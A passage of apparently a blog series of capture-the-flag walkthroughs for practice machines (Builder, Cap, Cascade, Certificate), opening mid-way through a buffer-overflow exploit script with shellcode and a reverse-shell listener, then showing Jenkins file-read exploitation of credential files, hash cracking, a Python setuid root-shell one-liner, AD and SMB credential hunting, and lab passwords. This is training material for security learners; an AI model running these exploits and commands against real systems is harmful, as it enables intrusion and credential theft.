payload += b"\x28\xfc\x60\x86\xc1\xac\x39\xcc\x74\x40\x4d"
payload += b"\x98\x44\xeb\x1d\x0c\xcd\x08\xd5\x2f\xfc\x9f"
payload += b"\x6d\x76\xde\x1e\xa1\x02\x57\x38\xa6\x2f\x21"
payload += b"\xb3\x1c\xdb\xb0\x15\x6d\x24\x1e\x58\x41\xd7"
payload += b"\x5e\x9d\x66\x08\x15\xd7\x94\xb5\x2e\x2c\xe6"
payload += b"\x61\xba\xb6\x40\xe1\x1c\x12\x70\x26\xfa\xd1"
payload += b"\x7e\x83\x88\xbd\x62\x12\x5c\xb6\x9f\x9f\x63"
payload += b"\x18\x16\xdb\x47\xbc\x72\xbf\xe6\xe5\xde\x6e"
payload += b"\x16\xf5\x80\xcf\xb2\x7e\x2c\x1b\xcf\xdd\x39"
payload += b"\xe8\xe2\xdd\xb9\x66\x74\xae\x8b\x29\x2e\x38"
payload += b"\xa0\xa2\xe8\xbf\xc7\x98\x4d\x2f\x36\x23\xae"
payload += b"\x66\xfd\x77\xfe\x10\xd4\xf7\x95\xe0\xd9\x2d"
payload += b"\x39\xb0\x75\x9e\xfa\x60\x36\x4e\x93\x6a\xb9"
payload += b"\xb1\x83\x95\x13\xda\x2e\x6c\xf4\xef\xa4\x60"
payload += b"\x15\x98\xba\x7c\x14\xe5\x32\x9a\x7c\x05\x13"
payload += b"\x35\xe9\xbc\x3e\xcd\x88\x41\x95\xa8\x8b\xca"
payload += b"\x1a\x4d\x45\x3b\x56\x5d\x32\xcb\x2d\x3f\x95"
payload += b"\xd4\x9b\x57\x79\x46\x40\xa7\xf4\x7b\xdf\xf0"
payload += b"\x51\x4d\x16\x94\x4f\xf4\x80\x8a\x8d\x60\xea"
payload += b"\x0e\x4a\x51\xf5\x8f\x1f\xed\xd1\x9f\xd9\xee"
payload += b"\x5d\xcb\xb5\xb8\x0b\xa5\x73\x13\xfa\x1f\x2a"
payload += b"\xc8\x54\xf7\xab\x22\x67\x81\xb3\x6e\x11\x6d"
payload += b"\x05\xc7\x64\x92\xaa\x8f\x60\xeb\xd6\x2f\x8e"
payload += b"\x26\x53\x5f\xc5\x6a\xf2\xc8\x80\xff\x46\x95"
payload += b"\x32\x2a\x84\xa0\xb0\xde\x75\x57\xa8\xab\x70"
payload += b"\x13\x6e\x40\x09\x0c\x1b\x66\xbe\x2d\x0e"**

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun
print(buf)

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(buf)
except Exception as e:
	print(sys.exc_value)

start netcat listener on port 445

run exploit using

python3 48389.py

we got shell!

Builder

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Builder
Difficulty: Medium
OS Type: Linux

Port Scanning - Service & Version Enumeration

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
8080/tcp open  http    syn-ack ttl 62 Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Dashboard [Jenkins]
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 8080/HTTP

port 8080 is open, let’s open URL in browser

it is running jenkins, the version is also Disclosed - Jenkins 2.4.41

searching for exploit i found Local File inclusion vulnerability → https://www.exploit-db.com/exploits/51993

let’s copy the exploit using searchsploit - searchsploit -m 51993

let’s run the exploit to first get the /etc/passwd file to check if the exploit is working or not

python3 51993.py -u http://10.10.11.10:8080/ -p /etc/passwd

this says the home folder of jenkins let’s search for the location of file which stores the credentials in jenkins

while searching for creds i came to following blog

https://looselytyped.com/blog/2017/10/25/uncovering-passwords-in-jenkins/

so we need to get the /var/jenkins_home/credentials.xml

let’s read the file using exploit

python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/credentials.xml

it looks like encrypted SSH key of the root user

further research uncover that we need master key to decrypt the credentials which usually stored in $JENKINS_HOME/secrets/master.key

python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/secrets/master.key

now we need access to jenkins console to decrypt above SSH private key

further research on application reveals potential user - Jennifer

then i found that we can possibly, get the user’s password in $JENKINS_HOME/users/<username>/config.xml, but unfortunately it didn’t work for the jennifer user, further reading uncovers different files such as users.xml which contains the user details including usernames let’s try to access it

python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/users/users.xml

nice we got the username, let’s use this to access the user’s password

python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

i tried cracking password using john

john jennifer.hash --wordlist=/usr/share/wordlists/rockyou.txt

let’s use this password to login as jennifer user

quick search for decrypting SSH keys in jenkins i found following groovy script

https://gist.github.com/hoto/d1c874480888f8711f12db33a20b6e4d

hashed_pw='YourEncryptedPassword'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

let’s save this key in id_rsa, change the permissions via - chmod 600 id_rsa

let’s SSH as root user

ssh -i id_rsa root@10.10.11.10

Cap

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Cap
OS Type: Linux
Difficulty: Easy

About Info

Port Scanning - Service and version enumeration

Enumeration

Port 80/HTTP

we found Port 80 is open on target let’s brows the website on firefox

if we click on security snapshot button we can see that we’ve given with the page that has /data/1

and it is showing the captured data

when we click on download the pcap (packet capture) file downloads we can view it via wireshark

but we can see that the /data/ has refrrence of ID of the pcap files so i’ve tried change the id to 2 and i got another scan!!

D’you see that?? let’s try to get some other scans, i got 3.pcap but 4.pac redirect us to dashboard means 404! let’s try id 0; ;)

Hmm!! might interesting ;)

let’s open that up in wireshark

Bingo look who’s here! FTP is always fun with wireshark.

nathan:Buck3tH4TF0RM3!

use that password to login to SSH

and Bingo!!

Port 21/FTP

we’ve also obeserved that FTP port is open let’s try to check anonymous login

ftp 10.129.11.219

with nathan’s creds i’ve tried to do login in ftp

Nothing much interesting it’s nathan’s home dir.

Privilege Escalation

the name of the machine is cap so we assume that the capabilities is the possible way to privesc, let’s enumerate the capabilities of processes/utilities

getcap -r / 2>/dev/null

is used in Linux systems to recursively list file capabilities starting from the root directory.

https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

we found that the python has cap_setuid, allows us to change the UID while running the program so we can change the UID to 0 (root) and spawn a shell

we ran below command to do so

/usr/bin/python3.8 -c 'import os;os.setuid(0);os.system("/bin/bash");'

Cascade

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Cascade
OS Type: Windows
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Fri Jul  4 21:38:37 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.10.182
Nmap scan report for 10.10.10.182
Host is up, received echo-reply ttl 127 (0.21s latency).
Scanned at 2025-07-04 21:38:45 IST for 439s
Not shown: 65520 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-04 16:14:32Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49165/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 51409/tcp): CLEAN (Timeout)
|   Check 2 (port 63871/tcp): CLEAN (Timeout)
|   Check 3 (port 10882/udp): CLEAN (Timeout)
|   Check 4 (port 55714/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 4s
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-04T16:15:25
|_  start_date: 2025-07-04T16:03:14

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul  4 21:46:04 2025 -- 1 IP address (1 host up) scanned in 446.22 seconds

Enumeration

Port 139,445/SMB

let’s check if the SMB allows null-session or not

smbclient -L //10.10.10.182 -N

we found the server is allowing anonymous login is allowed, but no share listing, it also appears to windows AD machine with domain cascade.local let’s add this domain in /etc/hosts and move to next service LDAP port 389

echo "10.10.10.182 cascade.local" | sudo tee -a /etc/hosts

Port 389/LDAP

let’s enumerate LDAP, and see if the LDAP allows anonymous binding or not, first we’ll find DN (DistinguishedName) for the domain

ldapsearch -H ldap://10.10.10.182 -x -s base namingcontexts

and then use this as base to perform search on Active Directory

ldapsearch -H ldap://10.10.10.182 -x  -b "DC=cascade,DC=local"

and we got the Access to all information related to the Domain, now let’s create user list using

ldapsearch -H ldap://10.10.10.182 -x  -b "DC=cascade,DC=local" "(objectClass=User)" | grep -i samaccountname | cut -d ":" -f2 | tr -d " " > users.txt

when i was reading the ldapsearch output i found the some weird Properties

looks like it is encoded, i tried to decode it using base64

echo "clk0bjVldmE=" | base64 -d

let’s use this password to check open shares

sudo nxc smb 10.10.10.182 -u r.thompson -p rY4n5eva --shares

let’s use the smbclient to connect to Data share

smbclient //10.10.10.182/Data -U r.thompson%rY4n5eva

let’s download all files and folders recursively

smb: \> recurse
smb: \> prompt
smb: \> mget *

there’s many folders and files we’ll confuse by it so i moved all these in files folder and then run tree command

first i read the Meeting_Notes html file

so it says that the Company is using temporary account for network migration related task, username is TempAdmin, and password is normal admin account password. this gold info, but for now we’ll keep this into our back-pocket and check other files

now we’ll read ArkAdRecycleBin.log and we found that the tempadmin has been moved to recycle bin, this is also useful information we possibly need to recover this account for future

reading the VNC Install.reg

i searched for the Decrypt password hex from VNC server registry key → https://github.com/frizb/PasswordDecrypts

$> msfconsole

msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
 => "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
 => true
>> Rex::Proto::RFB::Cipher.decrypt ["<ENCRYPTED-PASSWORD-HASH>"].pack('H*'), fixedkey
 => "Secure!\x00"
>>

nice we got the password - sT333ve2, we found this from s.smith’s folder let’s try this creds for s.smith

let’s check if we can login using winrm as s.smith using

sudo nxc winrm 10.10.10.182 -u s.smith -p 'sT333ve2'

Bingo we have access to winrm let’s use the evil-winrm to login as s.smith

evil-winrm -i 10.10.10.182 -u s.smith -p sT333ve2

now i tried to check what permission does the user have

i found that the user is member of the Audit Share, the share we saw before, let’s check if we have read permission to that share or not

sudo nxc smb 10.10.10.182 -u s.smith -p sT333ve2 --shares

let’s login to the Audit$ share

smbclient //10.10.10.182/Audit$ -U s.smith%sT333ve2

let’s download all files

smb: \> recurse
smb: \> prompt
smb: \> mget *

now the CascAudit seems to custom binary, let’s move all dlls, Database file, exe file to our windows host and i’ll be using the dnSpy to decompile the exe

after opening the CascAudit, open the exe file, and then go to main() function where we find password decryption code

Addd Breakpoint ad Line 58 (sqliteConnection.Close();), and start decompiling, we can get the password from there

another way is to take a decryption code create your own dotnet project and then run it go get password, to do that first get the encrypted password string from database

sqlite3 Audit.db

and then to list tables

sqlite> .tables

#to select data from LDAP table

sqlite> select * from Ldap;

#to confirm that 3rd column is contains password we need to check column name

sqlite> PRAGMA table_info(ldap);

great, now on windows host open cmd (make sure you’ve already installed dotnet in you machine)

to create new console app

dotnet new console -n CascAuditApp

this will create new folder, move the CascCrypto.dll to that folder and edit Program.cs and paste below code

using System;
using CascCrypto;

public class Program
{
    public static void Main()
    {
        string text = "BQO5l5Kj9MdErXx6Q6AGOw==";
        string password = Crypto.DecryptString(text, "c4scadek3y654321");
        Console.WriteLine("Plain Text Password " + password);
    }
}

and we need to provide the CasCrypto.dll reference in CascCryptoApp.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <Reference Include="CascCrypto">
      <HintPath>CascCrypto.dll</HintPath>
    </Reference>
  </ItemGroup>

</Project>

now run the dotnet build to build it and then dotnet run to run dotnet run

and we got our plaintext password, for ArkSvc

i used netexec to check if the user has winrm access or not

sudo nxc winrm 10.10.10.182 -u ArkSvc -p 'w3lc0meFr31nd'

and yeah we got the winrm access, let’s use evil-winrm to login to target machine

evil-winrm -i 10.10.10.182 -u ArkSvc -p w3lc0meFr31nd

after gaining access as arksvc, i tried to check the group membership of the user

as we noticed earlier that the tempadmin was removed and was using default administrator’s password as per https://github.com/ivanversluis/pentest-hacktricks/blob/master/windows/active-directory-methodology/privileged-accounts-and-token-privileges.md#ad-recycle-bin

This group gives you permission to read deleted AD object. Something juicy information can be found in there

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

we found the encoded password, and as the Email was saying the TempAdmin account is using default administrator’s password

echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d

i checked this password against the Administrator user

sudo nxc winrm 10.10.10.182 -u Administrator -p 'baCT3r1aN00dles'

Bingo~~, let’s login using the creds

evil-winrm -i 10.10.10.182 -u Administrator -p baCT3r1aN00dles

Certificate

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Certificate
OS Type: Windows
Difficulty: Hard
This is Active Directory based machine
- Domain Name - certificate.htb
- DNS computer name - DC01.certificate.htb

add Both entries in /etc/hosts file

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Sun Jun  1 08:09:34 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-06-01 08:09:35 IST for 825s
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Did not follow redirect to http://certificate.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-06-01 10:51:22Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:52:58+00:00; +7h59m45s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBPMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLY2VydGlm
| aWNhdGUxGzAZBgNVBAMTEkNlcnRpZmljYXRlLUxURC1DQTAeFw0yNDExMDQwMzE0
| NTRaFw0yNTExMDQwMzE0NTRaMB8xHTAbBgNVBAMTFERDMDEuY2VydGlmaWNhdGUu
| aHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAokh23/3HZrU3FA6t
| JQFbvrM0+ee701Q0/0M4ZQ3r1THuGXvtHnqHFBjJSY/p0SQ0j/jeCAiSwlnG/Wf6
| 6px9rUwjG7gfzH6WqoAMOlpf+HMJ+ypwH59+tktARf17OrrnMHMYXwwILUZfJjH1
| 73VnWwxodz32ZKklgqeHLASWke63yp7QM31vnZBnolofe6gV3pf6ZEJ58sNY+X9A
| t+cFnBtJcQ7TbxhB7zJHICHHn2qFRxL7u6GPPMeC0KdL8zDskn34UZpK6gyV+bNM
| G78cW3QFP00i+ixHkPUxGZho8b708FfRbEKuxSzL4auGuAhsE+ElWna1fBiuhmCY
| DNnA7QIDAQABo4IDTzCCA0swLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBD
| AG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
| ATAOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgIC
| AIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJ
| YIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNV
| HQ4EFgQURw6wHadBRcMGfsqMbHNqwpNKRi4wHwYDVR0jBBgwFoAUOuH3UW3vrUoY
| d0Gju7uF5m6Uc6IwgdEGA1UdHwSByTCBxjCBw6CBwKCBvYaBumxkYXA6Ly8vQ049
| Q2VydGlmaWNhdGUtTFRELUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2Vy
| dGlmaWNhdGUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9v
| YmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCByAYIKwYBBQUHAQEEgbsw
| gbgwgbUGCCsGAQUFBzAChoGobGRhcDovLy9DTj1DZXJ0aWZpY2F0ZS1MVEQtQ0Es
| Q049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWNhdGUsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MEAGA1Ud
| EQQ5MDegHwYJKwYBBAGCNxkBoBIEEAdHN3ziVeJEnb0gcZhtQbWCFERDMDEuY2Vy
| dGlmaWNhdGUuaHRiME4GCSsGAQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1T
| LTEtNS0yMS01MTU1Mzc2NjktNDIyMzY4NzE5Ni0zMjQ5NjkwNTgzLTEwMDAwDQYJ
| KoZIhvcNAQELBQADggEBAIEvfy33XN4pVXmVNJW7yOdOTdnpbum084aK28U/AewI
| UUN3ZXQsW0ZnGDJc0R1b1HPcxKdOQ/WLS/FfTdu2YKmDx6QAEjmflpoifXvNIlMz
| qVMbT3PvidWtrTcmZkI9zLhbsneGFAAHkfeGeVpgDl4OylhEPC1Du2LXj1mZ6CPO
| UsAhYCGB6L/GNOqpV3ltRu9XOeMMZd9daXHDQatNud9gGiThPOUxFnA2zAIem/9/
| UJTMmj8IP/oyAEwuuiT18WbLjEZG+ALBoJwBjcXY6x2eKFCUvmdqVj1LvH9X+H3q
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:52:57+00:00; +7h59m45s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBPMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLY2VydGlm
| aWNhdGUxGzAZBgNVBAMTEkNlcnRpZmljYXRlLUxURC1DQTAeFw0yNDExMDQwMzE0
| NTRaFw0yNTExMDQwMzE0NTRaMB8xHTAbBgNVBAMTFERDMDEuY2VydGlmaWNhdGUu
| aHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAokh23/3HZrU3FA6t
| JQFbvrM0+ee701Q0/0M4ZQ3r1THuGXvtHnqHFBjJSY/p0SQ0j/jeCAiSwlnG/Wf6
| 6px9rUwjG7gfzH6WqoAMOlpf+HMJ+ypwH59+tktARf17OrrnMHMYXwwILUZfJjH1
| 73VnWwxodz32ZKklgqeHLASWke63yp7QM31vnZBnolofe6gV3pf6ZEJ58sNY+X9A
| t+cFnBtJcQ7TbxhB7zJHICHHn2qFRxL7u6GPPMeC0KdL8zDskn34UZpK6gyV+bNM
| G78cW3QFP00i+ixHkPUxGZho8b708FfRbEKuxSzL4auGuAhsE+ElWna1fBiuhmCY
| DNnA7QIDAQABo4IDTzCCA0swLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBD
| AG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
| ATAOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgIC
| AIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJ
| YIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNV
| HQ4EFgQURw6wHadBRcMGfsqMbHNqwpNKRi4wHwYDVR0jBBgwFoAUOuH3UW3vrUoY
| d0Gju7uF5m6Uc6IwgdEGA1UdHwSByTCBxjCBw6CBwKCBvYaBumxkYXA6Ly8vQ049
| Q2VydGlmaWNhdGUtTFRELUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2Vy
| dGlmaWNhdGUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9v
| YmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCByAYIKwYBBQUHAQEEgbsw
| gbgwgbUGCCsGAQUFBzAChoGobGRhcDovLy9DTj1DZXJ0aWZpY2F0ZS1MVEQtQ0Es
| Q049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWNhdGUsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MEAGA1Ud
| EQQ5MDegHwYJKwYBBAGCNxkBoBIEEAdHN3ziVeJEnb0gcZhtQbWCFERDMDEuY2Vy
| dGlmaWNhdGUuaHRiME4GCSsGAQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1T
| LTEtNS0yMS01MTU1Mzc2NjktNDIyMzY4NzE5Ni0zMjQ5NjkwNTgzLTEwMDAwDQYJ
| KoZIhvcNAQELBQADggEBAIEvfy33XN4pVXmVNJW7yOdOTdnpbum084aK28U/AewI
| UUN3ZXQsW0ZnGDJc0R1b1HPcxKdOQ/WLS/FfTdu2YKmDx6QAEjmflpoifXvNIlMz
| qVMbT3PvidWtrTcmZkI9zLhbsneGFAAHkfeGeVpgDl4OylhEPC1Du2LXj1mZ6CPO
| UsAhYCGB6L/GNOqpV3ltRu9XOeMMZd9daXHDQatNud9gGiThPOUxFnA2zAIem/9/
| UJTMmj8IP/oyAEwuuiT18WbLjEZG+ALBoJwBjcXY6x2eKFCUvmdqVj1LvH9X+H3q
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBPMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLY2VydGlm
| aWNhdGUxGzAZBgNVBAMTEkNlcnRpZmljYXRlLUxURC1DQTAeFw0yNDExMDQwMzE0
| NTRaFw0yNTExMDQwMzE0NTRaMB8xHTAbBgNVBAMTFERDMDEuY2VydGlmaWNhdGUu
| aHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAokh23/3HZrU3FA6t
| JQFbvrM0+ee701Q0/0M4ZQ3r1THuGXvtHnqHFBjJSY/p0SQ0j/jeCAiSwlnG/Wf6
| 6px9rUwjG7gfzH6WqoAMOlpf+HMJ+ypwH59+tktARf17OrrnMHMYXwwILUZfJjH1
| 73VnWwxodz32ZKklgqeHLASWke63yp7QM31vnZBnolofe6gV3pf6ZEJ58sNY+X9A
| t+cFnBtJcQ7TbxhB7zJHICHHn2qFRxL7u6GPPMeC0KdL8zDskn34UZpK6gyV+bNM
| G78cW3QFP00i+ixHkPUxGZho8b708FfRbEKuxSzL4auGuAhsE+ElWna1fBiuhmCY
| DNnA7QIDAQABo4IDTzCCA0swLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBD
| AG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
